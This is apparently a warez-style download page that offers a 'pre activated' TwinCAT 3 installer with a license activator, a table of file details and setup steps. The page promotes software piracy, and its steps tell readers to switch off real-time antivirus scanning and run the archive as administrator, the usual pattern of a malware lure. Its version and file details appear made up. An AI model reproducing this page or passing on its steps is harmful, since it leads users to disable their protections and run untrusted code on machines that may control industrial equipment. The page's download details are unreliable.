Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Beckhoff_TwinCAT_3_v9.15_x64_setup.zip |
| Version | v9.15.401 build 19461 |
| File Size | 298.81 MB |
| MD5 Hash | 21989555cbc2f8daae39d80a3d9aae1b |
| SHA-256 | 4207f5c6c61d6a471dc54755b72681742225237dafdb78b3af59abd0cc82220d |
| Release Date | 2025-09-27 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | verified |
| License Type | Pro / Enterprise |
With our updated distribution package for Beckhoff TwinCAT 3 pre activated offline installer, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.